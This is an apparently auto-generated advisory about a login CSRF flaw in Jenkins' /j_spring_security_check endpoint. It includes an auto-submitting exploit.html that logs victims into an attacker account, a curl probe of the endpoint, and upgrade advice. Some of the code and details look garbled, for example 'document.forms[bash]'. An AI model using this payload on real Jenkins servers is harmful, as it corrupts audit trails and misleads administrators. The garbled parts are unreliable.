Listen to this Post
This Cross-Site Request Forgery (CSRF) vulnerability exists in the Jenkins web interface’s login endpoint (/j_spring_security_check). The flaw occurs because the authentication form does not require a unique anti-CSRF token to validate the origin of a login request. An attacker can craft a malicious HTML page containing a pre-filled form that submits credentials to the targeted Jenkins instance. When a logged-in Jenkins administrator visits this page, their browser automatically sends the session cookie with the forged request. The Jenkins server, failing to distinguish this forged request from a legitimate one, processes the authentication attempt. This results in the victim user being silently authenticated into the attacker’s pre-configured Jenkins account. Successful exploitation requires the victim to have an active session and be tricked into loading the malicious page, ultimately compromising audit trails and potentially enabling further actions within the attacker’s account context.
dailycve form:
Platform: Jenkins
Version: >=2.529<2.541
Vulnerability: CSRF login
Severity: Low
date: 2024-12-10
Prediction: 2024-12-17
What Undercode Say:
Craft malicious CSRF form cat > exploit.html << 'EOF' <html> <body> <form action="http://target.jenkins/j_spring_security_check" method="POST"> <input type="hidden" name="j_username" value="attacker"/> <input type="hidden" name="j_password" value="attacker_pass"/> <input type="submit" value="View"/> </form> <script>document.forms[bash].submit();</script> </body> </html> EOF Verify vulnerable endpoint (missing Crumb) curl -v http://jenkins:8080/j_spring_security_check
How Exploit:
Attacker hosts malicious page. Victim admin visits page. Form auto-submits. Session hijacked to attacker’s account.
Protection from this CVE:
Upgrade to Jenkins 2.541 or LTS 2.528.3. Implement CSRF tokens globally.
Impact:
Audit log corruption. Session hijacking. Initial access foothold.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
